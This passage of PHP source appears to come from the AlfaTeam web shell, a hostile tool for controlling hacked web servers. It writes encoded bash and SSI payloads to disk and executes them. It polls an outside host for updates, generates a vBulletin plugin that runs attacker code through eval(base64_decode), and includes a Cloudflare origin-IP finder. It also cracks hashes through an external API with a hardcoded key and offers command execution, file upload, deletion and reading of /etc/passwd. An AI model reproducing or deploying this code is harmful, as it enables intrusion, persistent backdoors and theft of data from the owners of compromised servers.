  2327. if (!isset($_COOKIE['alfa_checkupdate'])) {
  2328. if (function_exists("curl_version")) {
  2329. $update = new AlfaCURL();
  2330. $json = $update->Send("http://solevisible.com/update.json");
  2331. $json = @json_decode($json);
  2332. if ($json) {
  2333. if (__ALFA_VERSION__ != $json->version) {
  2334. @setcookie("alfa_checkupdate", "1", time() + 86400);
  2335. echo ('<div class="update-holder"><div class="update-partner"><div class="update-content"><div onClick="document.getElementsByClassName(\'update-holder\')[0].style.display = \'none\';" class="update-close">X</div><a href="' . $json->url . '" target="_blank">' . $json->text . '<br> Version: ' . $json->version . '</a></div></div></div>');
  2336. }
  2337. }
  2338. }
  2339. }
  2340. }
  2341. function alfaWriteTocgiapi($name, $source)
  2342. {
  2343. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  2344. @mkdir('alfacgiapi', 0755);
  2345. __write_file("alfacgiapi/" . $name, __get_resource($source));
  2346. @chmod("alfacgiapi/" . $name, 0755);
  2347. }
  2348. function alfacheckcgi()
  2349. {
  2350. if (strlen(alfaEx("id", false, true, true)) > 0)
  2351. echo ("ok");
  2352. else
  2353. echo ("no");
  2354. }
  2355. function alfaupdateheader()
  2356. {
  2357. if (!isset($_SESSION["updateheader_data"])) {
  2358. $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
  2359. $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
  2360. alfaWriteTocgiapi("getheader.alfa", $bash);
  2361. $data = alfaEx("cd '{$realdir}/alfacgiapi';sh getheader.alfa", false, true, true);
  2362. if (@is_array(@json_decode($data, true))) {
  2363. $_SESSION["updateheader_data"] = $data;
  2364. echo $data;
  2365. }
  2366. } else {
  2367. echo $_SESSION["updateheader_data"];
  2368. }
  2369. }
  2370. function alfassiShell()
  2371. {
  2372. alfahead();
  2373. echo '<div class=header>';
  2374. @mkdir('alfa_shtml', 0755);
  2375. @chdir('alfa_shtml');
  2376. alfacgihtaccess('shtml');
  2377. $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
  2378. @__write_file('alfa_ssi.shtml', __get_resource($code));
  2379. @chmod("alfa_ssi.shtml", 0755);
  2380. echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
  2381. echo '</div>';
  2382. alfafooter();
  2383. }
  2384. function alfacloudflare()
  2385. {
  2386. alfahead();
  2387. echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
  2388. <p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
  2389. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
  2390. $url = $_POST['alfa1'];
  2391. if (!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)) {
  2392. $url = preg_replace('/^(https?):\/\//', '', $url);
  2393. $url = "http://www." . $url;
  2394. }
  2395. $headers = @get_headers($url, 1);
  2396. $server = $headers['Server'];
  2397. $subs = array(
  2398. 'owa.',
  2399. '2tty.',
  2400. 'm.',
  2401. 'gw.',
  2402. 'mx1.',
  2403. 'store.',
  2404. '1',
  2405. '2',
  2406. 'vb.',
  2407. 'news.',
  2408. 'download.',
  2409. 'video',
  2410. 'cpanel.',
  2411. 'ftp.',
  2412. 'server1.',
  2413. 'cdn.',
  2414. 'cdn2.',
  2415. 'ns.',
  2416. 'ns3.',
  2417. 'mail.',
  2418. 'webmail.',
  2419. 'direct.',
  2420. 'direct-connect.',
  2421. 'record.',
  2422. 'ssl.',
  2423. 'dns.',
  2424. 'help.',
  2425. 'blog.',
  2426. 'irc.',
  2427. 'forum.',
  2428. 'dl.',
  2429. 'my.',
  2430. 'cp.',
  2431. 'portal.',
  2432. 'kb.',
  2433. 'support.',
  2434. 'search.',
  2435. 'docs.',
  2436. 'files.',
  2437. 'accounts.',
  2438. 'secure.',
  2439. 'register.',
  2440. 'apps.',
  2441. 'beta.',
  2442. 'demo.',
  2443. 'smtp.',
  2444. 'ns2.',
  2445. 'ns1.',
  2446. 'server.',
  2447. 'shop.',
  2448. 'host.',
  2449. 'web.',
  2450. 'cloud.',
  2451. 'api.',
  2452. 'exchange.',
  2453. 'app.',
  2454. 'vps.',
  2455. 'owa.',
  2456. 'sat.',
  2457. 'bbs.',
  2458. 'movie.',
  2459. 'music.',
  2460. 'art.',
  2461. 'fusion.',
  2462. 'maps.',
  2463. 'forums.',
  2464. 'acc.',
  2465. 'cc.',
  2466. 'dev.',
  2467. 'ww42.',
  2468. 'wiki.',
  2469. 'clients.',
  2470. 'client.',
  2471. 'books.',
  2472. 'answers.',
  2473. 'service.',
  2474. 'groups.',
  2475. 'images.',
  2476. 'upload.',
  2477. 'up.',
  2478. 'tube.',
  2479. 'users.',
  2480. 'admin.',
  2481. 'administrator.',
  2482. 'private.',
  2483. 'design.',
  2484. 'whmcs.',
  2485. 'wp.',
  2486. 'wordpress.',
  2487. 'joomla.',
  2488. 'vbulletin.',
  2489. 'test.',
  2490. 'developer.',
  2491. 'panel.',
  2492. 'contact.'
  2493. );
  2494. if (preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)) {
  2495. if ($matches[2] != 'www') {
  2496. $url = preg_replace('/^(https?):\/\//', '', $url);
  2497. } else {
  2498. $url = explode($matches[0], $url);
  2499. $url = $url[1];
  2500. }
  2501. }
  2502. if (is_array($server))
  2503. $server = $server[0];
  2504. echo __pre();
  2505. if (preg_match('/cloudflare/i', $server))
  2506. echo "\n[+] CloudFlare detected: {$server}\n<br>";
  2507. else
  2508. echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
  2509. echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
  2510. echo "[+] Searching for more IP addresses.\n\n<br><br>";
  2511. for ($x = 0; $x < count($subs); $x++) {
  2512. $site = $subs[$x] . $url;
  2513. $ip = is_ipv4(gethostbyname($site));
  2514. if ($ip == '(Null)')
  2515. continue;
  2516. echo "Trying {$site}: {$ip}\n<br>";
  2517. }
  2518. echo "\n[+] Finished.\n<br>";
  2519. }
  2520. echo '</div>';
  2521. alfafooter();
  2522. }
  2523. function is_ipv4($ip)
  2524. {
  2525. return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
  2526. }
  2527. function __alert($s)
  2528. {
  2529. echo '<center>' . __pre() . $s . '</center>';
  2530. }
  2531. function create_table($data)
  2532. {
  2533. echo '<table border="1">';
  2534. foreach ($data as $key => $val) {
  2535. $array = array();
  2536. foreach ($val as $k => $v) {
  2537. $array[$k] = $v;
  2538. }
  2539. echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . "></td></tr>";
  2540. }
  2541. echo '</table>';
  2542. }
  2543. function alfaphp2xml()
  2544. {
  2545. alfahead();
  2546. echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
  2547. <p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
  2548. <input type='submit' name='go' value=' ' /></p></form></center>";
  2549. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
  2550. echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
  2551. echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
  2552. echo '</textarea></center></p>';
  2553. }
  2554. echo '</center></div>';
  2555. alfafooter();
  2556. }
  2557. function alfacpcrack()
  2558. {
  2559. alfahead();
  2560. echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
  2561. if ($_POST['alfa1'] == 'dec') {
  2562. $algorithms = array(
  2563. 'md5' => 'MD5',
  2564. 'md4' => 'MD4',
  2565. 'sha1' => 'SHA1',
  2566. 'sha256' => 'SHA256',
  2567. 'sha384' => 'SHA384',
  2568. 'sha512' => 'SHA512',
  2569. 'ntlm' => 'NTLM'
  2570. );
  2571. echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
  2572. <form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
  2573. foreach ($algorithms as $key => $val) {
  2574. echo ('<option value="' . $key . '">' . $val . '</option>');
  2575. }
  2576. echo '</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2577. if ($_POST['alfa3'] == '>>') {
  2578. $hash = $_POST['alfa2'];
  2579. if (!empty($hash)) {
  2580. $hash_type = $_POST['alfa4'];
  2581. $email = "solevisible@gmail.com";
  2582. $code = "7b9fa79f92c3cd96";
  2583. $target = "http://md5decrypt.net/Api/api.php?hash=" . $hash . "&hash_type=" . $hash_type . "&email=" . $email . "&code=" . $code;
  2584. $resp = @file_get_contents($target);
  2585. if ($resp == '') {
  2586. $get = new AlfaCURL();
  2587. $resp = $get->Send($target);
  2588. }
  2589. echo __pre() . '<center>';
  2590. switch ($resp) {
  2591. case ('CODE ERREUR : 001'):
  2592. echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";
  2593. break;
  2594. case ('CODE ERREUR : 003'):
  2595. echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";
  2596. break;
  2597. case ('CODE ERREUR : 004'):
  2598. echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";
  2599. break;
  2600. case ('CODE ERREUR : 005'):
  2601. echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";
  2602. break;
  2603. }
  2604. if (substr($resp, 0, 4) != 'CODE' && $resp != '') {
  2605. echo "<b>Result: <font color='green'>" . $resp . "</font></b>";
  2606. } elseif (substr($resp, 0, 4) != 'CODE') {
  2607. echo "<font color='red'>NoT Found</font><br />";
  2608. }
  2609. echo ('</center>');
  2610. }
  2611. }
  2612. }
  2613. if ($_POST['alfa1'] == 'analyzer') {
  2614. echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
  2615. <form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
  2616. <div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2617. if ($_POST['alfa3'] == '>>') {
  2618. $hash = $_POST['alfa2'];
  2619. if (!empty($hash)) {
  2620. $curl = new AlfaCURL();
  2621. $resp = $curl->Send("http://md5decrypt.net/en/HashFinder/", "post", "hash={$hash}&crypt=Search");
  2622. echo (__pre() . '<center>');
  2623. if (preg_match('#<fieldset class="trouve">(.*?)</fieldset>#', $resp, $s)) {
  2624. echo ('<font color="green">' . $s[1] . '</font>');
  2625. } else {
  2626. echo ('<font color="red">Not Found...!</font>');
  2627. }
  2628. echo ('</center><br>');
  2629. }
  2630. }
  2631. }
  2632. echo '</div>';
  2633. alfafooter();
  2634. }
  2635. function alfafooter()
  2636. {
  2637. if (!isset($_POST['ajax'])) {
  2638. echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' ><tr><td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td><td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td><td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td><td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td></tr><tr><td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td><td colspan='2'><form onsubmit=\"editor(this.file.value,'auto','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td></tr><tr><td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);this.c.value='';return false;\"><span><span class='footer_text'>Execute :</span><br><input class='foottable' type='text' name='c' value=' '> <input type='submit' value=' '></form></td></tr><tr><td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'><input type='hidden' name='a' value='FilesMAn'><input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'><input type='hidden' name='alfa1' value='uploadFile'><input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'><span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);'></p><input type='submit' name='submit' value=' '></form><br><span class='copyright'>[ ./AlfaTeam &copy; 2012-" . date('Y') . " ]</span></td></tr></table></div><div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='margin-left:14px;margin-right:30px;'></div></div></div><div id='editor'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'></div></div></div></div></div><div id='update-content'></div><div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Editor</div></div></div><div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><div class='minimized-text'>Show Cgi</div></div></div><script>$(\"search-input\").addEventListener(\"keydown\",function(e){setTimeout(function(){var e=$(\"search-input\").value;d.getElementsByClassName(\"history-list\")[0].innerHTML=\"\";for(var a in editor_files)if(-1!=editor_files[a].file.search(e)||\"\"==e){var i=0;a==editor_current_file&&(i=\" is_active\"),insertToHistory(a,editor_files[a].file,i,editor_files[a].type)}},100)},!1),_Ajax(d.URL,\"a=\"+alfab64(\"checkupdate\"),function(e){d.body.insertAdjacentHTML(\"beforeend\",e)})," . $GLOBALS["need_to_update_header"] . "?_Ajax(d.URL,\"a=\"+alfab64(\"updateheader\"),function(e){try{var a=JSON.parse(e);for(var i in a){for(var r=\"\",t=0;t<a[i].length;t++)r+=\"useful\"==i||\"downloader\"==i?'<span class=\"header_values\" style=\"margin-left: 4px;\">'+a[i][t]+\"</span>\":a[i][t];var n=$(\"header_\"+i);n&&(n.innerHTML=r)}$(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\")}catch(e){console.log(e)}}):islinux&&_Ajax(d.URL,\"a=\"+alfab64(\"checkcgi\"),function(e){\"ok\"==e&&($(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\"))});</script></body></html>";
  2639. }
  2640. }
  2641. if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid') === false)) {
  2642. function posix_getpwuid($p)
  2643. {
  2644. return false;
  2645. }
  2646. }
  2647. if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid') === false)) {
  2648. function posix_getgrgid($p)
  2649. {
  2650. return false;
  2651. }
  2652. }
  2653. function alfaWhich($p)
  2654. {
  2655. $path = alfaEx('which ' . $p, false, false);
  2656. if (!empty($path))
  2657. return strlen($path);
  2658. return false;
  2659. }
  2660. function alfaSize($s)
  2661. {
  2662. if ($s >= 1073741824)
  2663. return sprintf('%1.2f', $s / 1073741824) . ' GB';
  2664. elseif ($s >= 1048576)
  2665. return sprintf('%1.2f', $s / 1048576) . ' MB';
  2666. elseif ($s >= 1024)
  2667. return sprintf('%1.2f', $s / 1024) . ' KB';
  2668. else
  2669. return $s . ' B';
  2670. }
  2671. function alfaPerms($p)
  2672. {
  2673. if (($p & 0xC000) == 0xC000)
  2674. $i = 's';
  2675. elseif (($p & 0xA000) == 0xA000)
  2676. $i = 'l';
  2677. elseif (($p & 0x8000) == 0x8000)
  2678. $i = '-';
  2679. elseif (($p & 0x6000) == 0x6000)
  2680. $i = 'b';
  2681. elseif (($p & 0x4000) == 0x4000)
  2682. $i = 'd';
  2683. elseif (($p & 0x2000) == 0x2000)
  2684. $i = 'c';
  2685. elseif (($p & 0x1000) == 0x1000)
  2686. $i = 'p';
  2687. else
  2688. $i = 'u';
  2689. $i .= (($p & 0x0100) ? 'r' : '-');
  2690. $i .= (($p & 0x0080) ? 'w' : '-');
  2691. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
  2692. $i .= (($p & 0x0020) ? 'r' : '-');
  2693. $i .= (($p & 0x0010) ? 'w' : '-');
  2694. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
  2695. $i .= (($p & 0x0004) ? 'r' : '-');
  2696. $i .= (($p & 0x0002) ? 'w' : '-');
  2697. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
  2698. return $i;
  2699. }
  2700. function alfaPermsColor($f, $isbash = false)
  2701. {
  2702. $class = "";
  2703. $num = "";
  2704. $human = "";
  2705. if ($isbash) {
  2706. $class = $f["class"];
  2707. $num = $f["num"];
  2708. $human = $f["human"];
  2709. } else {
  2710. $num = substr(sprintf('%o', @fileperms($f)), -4);
  2711. $human = alfaPerms(@fileperms($f));
  2712. if (!@is_readable($f))
  2713. $class = "main_red_perm";
  2714. elseif (!@is_writable($f))
  2715. $class = "main_white_perm";
  2716. else
  2717. $class = "main_green_perm";
  2718. }
  2719. return '<span style="font-weight:unset;" class="' . $class . '">' . $num . '</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="' . $class . '">' . $human . '</span>';
  2720. }
  2721. if (!function_exists("scandir")) {
  2722. function scandir($dir)
  2723. {
  2724. $dh = opendir($dir);
  2725. while (false !== ($filename = readdir($dh)))
  2726. $files[] = $filename;
  2727. return $files;
  2728. }
  2729. }
  2730. function reArrayFiles($file_post)
  2731. {
  2732. $file_ary = array();
  2733. $file_count = count($file_post['name']);
  2734. $file_keys = array_keys($file_post);
  2735. for ($i = 0; $i < $file_count; $i++) {
  2736. foreach ($file_keys as $key) {
  2737. $file_ary[$i][$key] = $file_post[$key][$i];
  2738. }
  2739. }
  2740. return $file_ary;
  2741. }
  2742. function _alfa_can_runCommand($cgi = true, $cache = true)
  2743. {
  2744. if (isset($_SESSION["alfa_canruncmd"]) && $cache) {
  2745. return true;
  2746. }
  2747. if (strlen(alfaEx("whoami", false, $cgi)) > 0) {
  2748. $_SESSION["alfa_canruncmd"] = true;
  2749. return true;
  2750. }
  2751. return false;
  2752. }
  2753. function _alfa_symlink($target, $link)
  2754. {
  2755. $phpsym = function_exists("symlink");
  2756. if ($phpsym) {
  2757. @symlink($target, $link);
  2758. } else {
  2759. alfaEx("ln -s '" . addslashes($target) . "' '" . addslashes($link) . "'");
  2760. }
  2761. }
  2762. function _alfa_file_exists($file, $cgi = true)
  2763. {
  2764. if (@file_exists($file)) {
  2765. return true;
  2766. } else {
  2767. if (strlen(alfaEx("ls -la '" . addslashes($file) . "'", false, $cgi)) > 0) {
  2768. return true;
  2769. }
  2770. }
  2771. return false;
  2772. }
  2773. function _alfa_file($file, $cgi = true)
  2774. {
  2775. $array = @file($file);
  2776. if (!$array) {
  2777. if (strlen(alfaEx("id", false, $cgi)) > 0) {
  2778. $data = alfaEx('cat "' . addslashes($file) . '"', false, $cgi);
  2779. if (strlen($data) > 0) {
  2780. return explode("\n", $data);
  2781. } else {
  2782. return false;
  2783. }
  2784. } else {
  2785. return false;
  2786. }
  2787. } else {
  2788. return $array;
  2789. }
  2790. }
  2791. function _alfa_is_writable($file)
  2792. {
  2793. $check = false;
  2794. $check = @is_writable($file);
  2795. if (!$check) {
  2796. if (_alfa_can_runCommand()) {
  2797. $check = alfaEx('[ -w "' . trim(addslashes($file)) . '" ] && echo "yes" || echo "no"');
  2798. if ($check == "yes") {
  2799. $check = true;
  2800. } else {
  2801. $check = false;
  2802. }
  2803. }
  2804. }
  2805. return $check;
  2806. }
  2807. function _alfa_is_dir($dir, $mode = "-d")
  2808. {
  2809. $check = false;
  2810. $check = @is_dir($dir);
  2811. if (!$check) {
  2812. if (_alfa_can_runCommand()) {
  2813. $check = alfaEx('[ "' . trim($mode) . '" "' . trim(addslashes($dir)) . '" ] && echo "yes" || echo "no"');
  2814. if ($check == "yes") {
  2815. return true;
  2816. } else {
  2817. return false;
  2818. }
  2819. }
  2820. }
  2821. return $check;
  2822. }
  2823. function alfaFilesMan()
  2824. {
  2825. alfahead();
  2826. echo '<div class="ajaxarea"><div class="header">';
  2827. if (!empty($_COOKIE['f']))
  2828. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  2829. if (!empty($_POST['alfa1'])) {
  2830. switch ($_POST['alfa1']) {
  2831. case 'uploadFile':
  2832. if (isset($GLOBALS['glob_chdir_false'])) {
  2833. $alfa_canruncmd = _alfa_can_runCommand(true, true);
  2834. $move_cmd_file = true;
  2835. }
  2836. $files = reArrayFiles($_FILES['f']);
  2837. foreach ($files as $file) {
  2838. if ($move_cmd_file) {
  2839. alfaEx("cat '" . addslashes($file['tmp_name']) . "' > '" . addslashes($_POST["c"] . "/" . $file['name']) . "'");
  2840. } else {
  2841. @move_uploaded_file($file['tmp_name'], $file['name']);
  2842. }
  2843. echo "uped...!<Br>";
  2844. }
  2845. break;
  2846. case 'mkdir':
  2847. $new_dir_cmd = false;
  2848. if (isset($GLOBALS['glob_chdir_false'])) {
  2849. if (_alfa_can_runCommand(true, true)) {
  2850. alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';mkdir '" . trim(addslashes($_POST['alfa2'])) . "'");
  2851. }
  2852. } else {
  2853. if (!@mkdir(trim($_POST['alfa2'])))
  2854. echo "<b><font color='red'>Can't create new dir !</b></font>";
  2855. }
  2856. break;
  2857. case 'delete':
  2858. function deleteDir($path)
  2859. {
  2860. $path = (substr($path, -1) == '/') ? $path : $path . '/';
  2861. $dh = @opendir($path);
  2862. while (($item = @readdir($dh)) !== false) {
  2863. $item = $path . $item;
  2864. if ((basename($item) == "..") || (basename($item) == "."))
  2865. continue;
  2866. $type = @filetype($item);
  2867. if ($type == "dir")
  2868. deleteDir($item);
  2869. else
  2870. @unlink($item);
  2871. }
  2872. @closedir($dh);
  2873. @rmdir($path);
  2874. }
  2875. if (is_array(@$_POST['f']))
  2876. foreach ($_POST['f'] as $f) {
  2877. if ($f == '..')
  2878. continue;
  2879. $f = rawurldecode($f);
  2880. if (isset($GLOBALS["glob_chdir_false"])) {
  2881. if (_alfa_can_runCommand(true, true)) {
  2882. alfaEx("rm -rf '" . addslashes($_POST['c'] . '/' . $f) . "'");
  2883. }
  2884. } else {
  2885. alfaEx("rm -rf '" . addslashes($f) . "'", false, false);
  2886. if (@is_dir($f))
  2887. deleteDir($f);
  2888. else
  2889. @unlink($f);
  2890. }
  2891. }
  2892. if (@is_dir(rawurldecode(@$_POST['alfa2'])) && rawurldecode(@$_POST['alfa2']) != '..') {
  2893. deleteDir(rawurldecode(@$_POST['alfa2']));
  2894. alfaEx("rm -rf '" . addslashes($_POST['alfa2']) . "'", false, false);
  2895. } else {
  2896. @unlink(rawurldecode(@$_POST['alfa2']));
  2897. }
  2898. if (isset($GLOBALS["glob_chdir_false"])) {
  2899. $source = rawurldecode(@$_POST['alfa2']);
  2900. if ($source != '..' && !empty($source)) {
  2901. if (_alfa_can_runCommand(true, true)) {
  2902. alfaEx("cd '" . trim(addslashes($_POST['c'])) . "';rm -rf '" . addslashes($source) . "'");
  2903. }
  2904. }
  2905. }
  2906. break;
  2907. case 'paste':
  2908. if ($_SESSION['act'] == 'copy' && isset($_SESSION['f'])) {
  2909. function copy_paste($c, $s, $d)
  2910. {
